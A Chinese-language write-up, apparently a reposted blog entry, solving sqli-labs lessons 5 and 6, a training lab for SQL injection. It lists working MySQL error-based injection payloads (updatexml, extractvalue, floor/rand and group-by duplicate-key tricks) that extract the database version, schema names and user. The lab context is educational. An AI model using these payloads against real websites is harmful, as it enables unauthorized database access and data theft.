sqli-labs第五,六题

第五题

 1.根据提示,输入id参数

 在正确id范围内,改变id页面相同

 2.老规矩,单引号伺候

单引号触发错误

猜测sql语句为:"SELECT * FROM table_name WHERE id='$id' LIMIT 0,1"

3.注入布尔表达式,观察页面变化

注入永假式页面无返回值,确认存在注入漏洞

4.因为页面并不直接显示查询结果,所以选择报错注入或布尔盲注进行攻击(延时注入亦可),这里使用报错注入

(1)通过updatexml函数,执行SQL语句

  ?id=1' and updatexml(1,(concat(0x7c,(select @@version))),1) --+

  爆出数据库版本信息

   查询元数据

  ?id=1' and updatexml(1,concat(0x7c,(select group_concat(schema_name) from information_schema.schemata)),1)--+

  updatexml返回的字符串长度有限 32字节

  可以使用LIMIT对元数据进行枚举

  ?id=1' and updatexml(1,concat(0x7c,(select schema_name from information_schema.schemata LIMIT 0,1)),1)--+

  。。。。。。

(2)通过extractvalue函数,执行SQL语句

  用法与updatexml类似,返回字符串长度也同样只有32字节

  ?id=1' and extractvalue(1,concat(0x7c,(select schema_name from information_schema.schemata LIMIT 0,1)))--+

 (3)通过floor函数,执行SQL语句

  ?id=1' union select * from (select NULL, count(*),concat(floor(rand(0)*2),(select user())) a from information_schema.tables group by a)b--+

 (4)通过group by重复键冲突,进行报错注入

  ?id=1' union select NULL,concat(left(rand(),3),'^',(select version()),'^')a,count(*) from information_schema.tables group by a --+

第六题

与第五题类似将单引号换为双引号即可。

猜你喜欢

转载自www.cnblogs.com/a-qi/p/13160518.html